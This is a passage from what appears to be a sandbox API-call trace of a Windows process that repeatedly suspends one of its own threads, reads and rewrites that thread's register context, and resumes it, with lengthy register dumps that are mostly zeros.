[177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0114.593] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000145e90, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0114.663] ResumeThread (hThread=0x130) returned 0x1
[0114.663] CloseHandle (hObject=0x130) returned 1
[0114.663] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.696] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.730] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0114.949] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.027] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0115.027] SuspendThread (hThread=0x130) returned 0x0
[0115.027] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a78, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1306e80, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0115.099] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0115.169] ResumeThread (hThread=0x130) returned 0x1
[0115.169] CloseHandle (hObject=0x130) returned 1
[0115.169] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.225] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.259] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.408] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.486] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0115.486] SuspendThread (hThread=0x130) returned 0x0
[0115.486] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ff990, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b8a60, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0115.553] ResumeThread (hThread=0x130) returned 0x1
[0115.553] CloseHandle (hObject=0x130) returned 1
[0115.553] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.587] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.621] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.705] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0115.802] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0115.804] SuspendThread (hThread=0x130) returned 0x0
[0115.804] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10216, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147a18, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x15bf840, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, 